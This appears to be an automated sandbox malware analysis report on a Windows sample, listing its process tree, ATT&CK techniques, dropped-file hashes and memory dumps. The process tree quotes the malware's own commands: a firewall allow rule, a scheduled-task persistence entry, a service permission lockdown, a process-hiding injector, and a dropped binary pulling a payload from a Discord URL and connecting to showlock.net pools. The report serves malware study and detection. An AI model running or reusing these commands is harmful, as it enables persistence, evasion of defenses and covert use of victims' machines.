PID 4676 wrote to memory of 2080	4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	84
PID 4676 wrote to memory of 2080	4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	84
PID 4676 wrote to memory of 2080	4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	84
PID 4676 wrote to memory of 4352	4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	86
PID 4676 wrote to memory of 4352	4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	86
PID 4676 wrote to memory of 4352	4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	86
PID 4676 wrote to memory of 4308	4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	88
PID 4676 wrote to memory of 4308	4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	88
PID 4676 wrote to memory of 4308	4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	88
PID 4308 wrote to memory of 3520	4308	csrss.exe	89
PID 4308 wrote to memory of 3520	4308	csrss.exe	89
PID 4308 wrote to memory of 3520	4308	csrss.exe	89
PID 4308 wrote to memory of 1384	4308	csrss.exe	96
PID 4308 wrote to memory of 1384	4308	csrss.exe	96
PID 4308 wrote to memory of 1384	4308	csrss.exe	96
PID 4308 wrote to memory of 2456	4308	csrss.exe	98
PID 4308 wrote to memory of 2456	4308	csrss.exe	98
PID 4308 wrote to memory of 2456	4308	csrss.exe	98
PID 4308 wrote to memory of 708	4308	csrss.exe	100
PID 4308 wrote to memory of 708	4308	csrss.exe	100
PID 428 wrote to memory of 3292	428	windefender.exe	107
PID 428 wrote to memory of 3292	428	windefender.exe	107
PID 428 wrote to memory of 3292	428	windefender.exe	107
PID 3292 wrote to memory of 3408	3292	cmd.exe	108
PID 3292 wrote to memory of 3408	3292	cmd.exe	108
PID 3292 wrote to memory of 3408	3292	cmd.exe	108
PID 4308 wrote to memory of 2632	4308	csrss.exe	111
PID 4308 wrote to memory of 2632	4308	csrss.exe	111
PID 4308 wrote to memory of 2632	4308	csrss.exe	111
PID 4308 wrote to memory of 3580	4308	csrss.exe	113
PID 4308 wrote to memory of 3580	4308	csrss.exe	113
PID 4308 wrote to memory of 3580	4308	csrss.exe	113
PID 4308 wrote to memory of 1108	4308	csrss.exe	115
PID 4308 wrote to memory of 1108	4308	csrss.exe	115
PID 4308 wrote to memory of 1108	4308	csrss.exe	115
PID 4308 wrote to memory of 4688	4308	csrss.exe	117
PID 4308 wrote to memory of 4688	4308	csrss.exe	117
PID 4308 wrote to memory of 4688	4308	csrss.exe	117
PID 4308 wrote to memory of 2488	4308	csrss.exe	119
PID 4308 wrote to memory of 2488	4308	csrss.exe	119
PID 4308 wrote to memory of 2488	4308	csrss.exe	119
PID 4308 wrote to memory of 4168	4308	csrss.exe	121
PID 4308 wrote to memory of 4168	4308	csrss.exe	121
PID 4308 wrote to memory of 4168	4308	csrss.exe	121

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
"C:\Users\Admin\AppData\Local\Temp\deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3188
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -nologo -noprofile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4892
- C:\Users\Admin\AppData\Local\Temp\deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
  "C:\Users\Admin\AppData\Local\Temp\deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe"
  2⤵
  - Windows security bypass
  - Windows security modification
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4676
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4232
- - C:\Windows\System32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2520
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:3196
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2080
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4352
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Manipulates WinMonFS driver.
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4308
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3520
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:4940
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /delete /tn ScheduledUpdate /f
      4⤵
      PID:2836
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1384
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2456
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:708
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:4304
  - - C:\Windows\windefender.exe
      "C:\Windows\windefender.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:428
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3292
      - C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        Launches sc.exe
        Suspicious use of AdjustPrivilegeToken
        
        PID:3408
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:2632
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
      4⤵
      Executes dropped EXE
      PID:3580
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:1108
  - - C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      4⤵
      Executes dropped EXE
      PID:4688
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:2488
  - - C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      4⤵
      Executes dropped EXE
      PID:4168

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:5056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nas54uf1.lra.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe

Filesize
2.0MB

MD5
1bf850b4d9587c1017a75a47680584c4

SHA1
75cd4738ffc07f203c3f3356bc946fdd0bcdbe19

SHA256
ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955

SHA512
ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe

Filesize
2.8MB

MD5
713674d5e968cbe2102394be0b2bae6f

SHA1
90ac9bd8e61b2815feb3599494883526665cb81e

SHA256
f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057

SHA512
e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe

Filesize
2.0MB

MD5
dcb505dc2b9d8aac05f4ca0727f5eadb

SHA1
4f633edb62de05f3d7c241c8bc19c1e0be7ced75

SHA256
61f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551

SHA512
31e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

Filesize
281KB

MD5
d98e33b66343e7c96158444127a117f6

SHA1
bb716c5509a2bf345c6c1152f6e3e1452d39d50d

SHA256
5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

SHA512
705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
1c19c16e21c97ed42d5beabc93391fc5

SHA1
8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

SHA256
1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

SHA512
7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
ff19ad22cff1e4df54ee87d614fcfdcc

SHA1
e5f1714c3085771734890c2e005235888bc680c1

SHA256
5c176fafc0a600d642a6945c2d521976600d54444420f8b8fc4aa33e23d98b3a

SHA512
7d0c71bd6ffa565a5c3ce2c02dd6683d4a70a1b0c56416de2b9913e43157a7b2c4c8ba786864efc2a97365ad70dd91472f4dd7d64dc81ebbd79b356932975790

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
c00cac089d3b0ac88dac1a8514be7b6c

SHA1
29621ada2c53817fb4d35a6472d125a8e81cd429

SHA256
5cd5c8c00c8dd234e6d9427b853eaeb0d0f3a2d81d7640b9e7daea1c42829cca

SHA512
8b01ee43b63b460e3dc8635ef3e7bb5838d14933d4f8b6be1e66b268633b4a7c822f6a390eadae0a27c68c5c9230a2bb37229023c2d8e7e7785689c685980d9f

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
2179a3b1c20dd4c572bfbb56a7ab3e0d

SHA1
fef8011f0b7021594b0906fd686a8b785e89da5c

SHA256
380f4915aedab19529ff3c1a6951ff2fc968db400918e153bd8aca23db8a22b9

SHA512
e52622f32094e8b8898fa9f0fc52db5426b63ee3e214ebee02046f4929460bf4bdd0cace5a21443ac9c584b913740af42904f608388b5ad280227eacb705dcca

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
e2377779c1d433bc03ae246d9285451b

SHA1
e2f0fca3d98e58e75061da9a4c49c2c1b70647ae

SHA256
f967067853dd936054a1fd83107bc0b4e4cbb579019ff91495c13716c01215a4

SHA512
ab0513303df275d8dfa075f3fce6fb53bbf513d2ba8614de40a2bee6d2c43da54b39fa357096f1b58c10429605eed6cc940d63bd52c593d1becdef1c7bd6a35d

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
abe37e506e0560bfc02ae70a6d48c175

SHA1
4e833e7f7681bce9dc8724c09b4208f9c5aee37f

SHA256
7cb23881557b25ef421e2fc86081b5e5470deb0506fcf294be02087631cd3596

SHA512
816c5ea9b35cf0482c3507358c008452e2e0a8ea5df7740d3ce50105397e985a910fe86a3ac689ebaf322f856b4fea94d4bb1d827b04e664778ac2712a058c4e

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
0213adecefcca1d78ee20220b9cdba5d

SHA1
66cb6e6bfa4181453601def95ac7cc3c8b68ac60

SHA256
72db28a22daf17aff467211fa0966f49a43a0c280ac5214211c978d76b783e60

SHA512
aae9bb69737a4d1342b8aa19e8942e8249025572e9f7066047cdd17b4e0821ade56c5417970a7558d124fe97a3deab2bac3793e43f460719b1f366417de8a632

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
353970d2e1a3fe852321ead0103951d9

SHA1
9c0173da4bf836062f324af2d7e150cb3c8451fc

SHA256
a18ce9a67b9fbb1512cb779526bf59e302950b6aa3abf7ac27c46c01a6dd815d

SHA512
a528ea78a707c6bfcb027756ffa4a3e8c012f468d926c4b4757197dca4a45de00c24711272d862fe0207895961598acfe19a5815b880e36f4c455ec3d85767c2

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
688dd5ea15b32e88d48106804620c476

SHA1
b1f23f327d0bcaabcec9475be79b69970c2fc015

SHA256
28a9381d1cd06c36f0b2f8747173b27dea3cf5a2b27390dc8babea0a23e47ff3

SHA512
c46643d6ebeb791073c5244acd2e3f8219aac56fac2ea7c6b9802e807b2f87468fbd6d4919a263281cd936d255b667d75aaef10a795b031de7e32d6924620e29

Download Submit
C:\Windows\rss\csrss.exe

Filesize
4.2MB

MD5
8a70cb928b943610a519e43445d89544

SHA1
f0dd3cef5d7f6988e3a068e546ab0e7bc53458dc

SHA256
deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31

SHA512
600f5073e25ad76f534fff10620dfef33b87d0293afa829791c2af18f198a19ec83c78fe93e26ec9883ea12534194d711a3abe803b6ab30cd62195202f019679

Download Submit
C:\Windows\windefender.exe

Filesize
2.0MB

MD5
8e67f58837092385dcf01e8a2b4f5783

SHA1
012c49cfd8c5d06795a6f67ea2baf2a082cf8625

SHA256
166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

SHA512
40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

Download Submit
memory/428-1741-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/428-1746-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/1108-2064-0x0000000071330000-0x0000000071680000-memory.dmp

Filesize
3.3MB

Download
memory/1108-2063-0x00000000712E0000-0x000000007132B000-memory.dmp

Filesize
300KB

Download
memory/1384-1283-0x000000006FA00000-0x000000006FD50000-memory.dmp

Filesize
3.3MB

Download
memory/1384-1282-0x000000006F9B0000-0x000000006F9FB000-memory.dmp

Filesize
300KB

Download
memory/1384-1263-0x00000000083A0000-0x00000000083EB000-memory.dmp

Filesize
300KB

Download
memory/1384-1261-0x0000000007D30000-0x0000000008080000-memory.dmp

Filesize
3.3MB

Download
memory/1384-1288-0x00000000097C0000-0x0000000009865000-memory.dmp

Filesize
660KB

Download
memory/2080-564-0x000000006FAC0000-0x000000006FE10000-memory.dmp

Filesize
3.3MB

Download
memory/2080-563-0x0000000071090000-0x00000000710DB000-memory.dmp

Filesize
300KB

Download
memory/2456-1519-0x000000006FA20000-0x000000006FD70000-memory.dmp

Filesize
3.3MB

Download
memory/2456-1518-0x000000006F9B0000-0x000000006F9FB000-memory.dmp

Filesize
300KB

Download
memory/2488-2304-0x00000000712E0000-0x000000007132B000-memory.dmp

Filesize
300KB

Download
memory/2488-2305-0x0000000071350000-0x00000000716A0000-memory.dmp

Filesize
3.3MB

Download
memory/2488-2284-0x0000000007B60000-0x0000000007EB0000-memory.dmp

Filesize
3.3MB

Download
memory/2632-1794-0x0000000007FF0000-0x0000000008340000-memory.dmp

Filesize
3.3MB

Download
memory/2632-1815-0x00000000712E0000-0x000000007132B000-memory.dmp

Filesize
300KB

Download
memory/2632-1796-0x0000000008B30000-0x0000000008B7B000-memory.dmp

Filesize
300KB

Download
memory/2632-1816-0x0000000071330000-0x0000000071680000-memory.dmp

Filesize
3.3MB

Download
memory/2632-1821-0x0000000009B90000-0x0000000009C35000-memory.dmp

Filesize
660KB

Download
memory/3188-299-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/3188-3-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/3188-1-0x0000000003900000-0x0000000003CF9000-memory.dmp

Filesize
4.0MB

Download
memory/3188-2-0x0000000003E00000-0x00000000046EB000-memory.dmp

Filesize
8.9MB

Download
memory/3188-301-0x0000000003E00000-0x00000000046EB000-memory.dmp

Filesize
8.9MB

Download
memory/3188-302-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/3520-1044-0x000000006FA50000-0x000000006FA9B000-memory.dmp

Filesize
300KB

Download
memory/3520-1025-0x0000000007940000-0x000000000798B000-memory.dmp

Filesize
300KB

Download
memory/3520-1045-0x000000006FAC0000-0x000000006FE10000-memory.dmp

Filesize
3.3MB

Download
memory/3520-1050-0x0000000008ED0000-0x0000000008F75000-memory.dmp

Filesize
660KB

Download
memory/3580-2043-0x0000000000400000-0x00000000008E1000-memory.dmp

Filesize
4.9MB

Download
memory/3580-2038-0x0000000000400000-0x00000000008E1000-memory.dmp

Filesize
4.9MB

Download
memory/4168-2522-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/4168-2534-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/4168-2527-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/4232-305-0x0000000007440000-0x0000000007790000-memory.dmp

Filesize
3.3MB

Download
memory/4232-325-0x0000000071090000-0x00000000710DB000-memory.dmp

Filesize
300KB

Download
memory/4232-306-0x0000000007B60000-0x0000000007BAB000-memory.dmp

Filesize
300KB

Download
memory/4232-326-0x000000006FAC0000-0x000000006FE10000-memory.dmp

Filesize
3.3MB

Download
memory/4232-331-0x0000000008FA0000-0x0000000009045000-memory.dmp

Filesize
660KB

Download
memory/4308-1787-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1765-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-2523-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-2526-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1791-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-2535-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1747-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1737-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1749-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1751-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-2531-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1753-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1755-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1757-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1759-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1761-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1763-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1789-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1767-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1769-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1771-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1773-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1775-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1777-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1779-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1781-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1783-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4308-1785-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4352-799-0x000000006FAC0000-0x000000006FE10000-memory.dmp

Filesize
3.3MB

Download
memory/4352-798-0x0000000071090000-0x00000000710DB000-memory.dmp

Filesize
300KB

Download
memory/4676-1019-0x0000000000400000-0x0000000001DF2000-memory.dmp

Filesize
25.9MB

Download
memory/4688-2533-0x0000000000AD0000-0x000000000139D000-memory.dmp

Filesize
8.8MB

Download
memory/4688-2529-0x0000000000AD0000-0x000000000139D000-memory.dmp

Filesize
8.8MB

Download
memory/4688-2525-0x0000000000AD0000-0x000000000139D000-memory.dmp

Filesize
8.8MB

Download
memory/4688-2281-0x0000000000AD0000-0x000000000139D000-memory.dmp

Filesize
8.8MB

Download
memory/4892-72-0x00000000098A0000-0x00000000098D3000-memory.dmp

Filesize
204KB

Download
memory/4892-10-0x0000000006B60000-0x0000000006B82000-memory.dmp

Filesize
136KB

Download
memory/4892-73-0x000000006F9D0000-0x000000006FA1B000-memory.dmp

Filesize
300KB

Download
memory/4892-75-0x000000006FA20000-0x000000006FD70000-memory.dmp

Filesize
3.3MB

Download
memory/4892-76-0x0000000009880000-0x000000000989E000-memory.dmp

Filesize
120KB

Download
memory/4892-65-0x0000000008A70000-0x0000000008AE6000-memory.dmp

Filesize
472KB

Download
memory/4892-34-0x0000000007F10000-0x0000000007F4C000-memory.dmp

Filesize
240KB

Download
memory/4892-15-0x0000000007E50000-0x0000000007E9B000-memory.dmp

Filesize
300KB

Download
memory/4892-14-0x00000000078F0000-0x000000000790C000-memory.dmp

Filesize
112KB

Download
memory/4892-81-0x00000000098E0000-0x0000000009985000-memory.dmp

Filesize
660KB

Download
memory/4892-13-0x00000000074A0000-0x00000000077F0000-memory.dmp

Filesize
3.3MB

Download
memory/4892-11-0x0000000006C00000-0x0000000006C66000-memory.dmp

Filesize
408KB

Download
memory/4892-12-0x0000000006C70000-0x0000000006CD6000-memory.dmp

Filesize
408KB

Download
memory/4892-74-0x0000000072DC0000-0x00000000734AE000-memory.dmp

Filesize
6.9MB

Download
memory/4892-8-0x0000000072DC0000-0x00000000734AE000-memory.dmp

Filesize
6.9MB

Download
memory/4892-9-0x0000000006CF0000-0x0000000007318000-memory.dmp

Filesize
6.2MB

Download
memory/4892-82-0x0000000009AC0000-0x0000000009B54000-memory.dmp

Filesize
592KB

Download
memory/4892-275-0x0000000009A60000-0x0000000009A7A000-memory.dmp

Filesize
104KB

Download
memory/4892-7-0x0000000006570000-0x00000000065A6000-memory.dmp

Filesize
216KB

Download
memory/4892-280-0x0000000009A50000-0x0000000009A58000-memory.dmp

Filesize
32KB

Download
memory/4892-298-0x0000000072DC0000-0x00000000734AE000-memory.dmp

Filesize
6.9MB

Download
memory/4892-4-0x0000000072DCE000-0x0000000072DCF000-memory.dmp

Filesize
4KB

Download
